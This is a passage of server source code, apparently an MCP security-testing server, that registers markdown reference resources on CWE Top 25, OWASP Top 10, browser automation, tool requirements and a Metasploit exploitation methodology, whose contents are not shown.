);
server.resource(
'security://reference/cwe-top-25',
'security://reference/cwe-top-25',
{ description: 'CWE Top 25 most dangerous software weaknesses', mimeType: 'text/markdown' },
async (uri) => ({
contents: [{ uri: uri.href, text: REFERENCE_CWE_TOP_25, mimeType: 'text/markdown' }]
})
);
server.resource(
'security://reference/owasp-top-10',
'security://reference/owasp-top-10',
{ description: 'OWASP Top 10 web application security risks', mimeType: 'text/markdown' },
async (uri) => ({
contents: [{ uri: uri.href, text: REFERENCE_OWASP_TOP_10, mimeType: 'text/markdown' }]
})
);
server.resource(
'security://reference/browser-options',
'security://reference/browser-options',
{ description: 'Browser automation options (Playwright, Antigravity, Puppeteer)', mimeType: 'text/markdown' },
async (uri) => ({
contents: [{ uri: uri.href, text: REFERENCE_BROWSER_OPTIONS, mimeType: 'text/markdown' }]
})
);
server.resource(
'security://reference/tool-requirements',
'security://reference/tool-requirements',
{ description: 'Security tool requirements, installation guide, and validation', mimeType: 'text/markdown' },
async (uri) => ({
contents: [{ uri: uri.href, text: REFERENCE_TOOL_REQUIREMENTS, mimeType: 'text/markdown' }]
})
);
server.resource(
'security://methodology/exploitation',
'security://methodology/exploitation',
{ description: 'Safe exploitation methodology using Metasploit Framework', mimeType: 'text/markdown' },
async (uri) => ({
contents: [{ uri: uri.href, text: METHODOLOGY_EXPLOITATION, mimeType: 'text/markdown' }]
})
);
}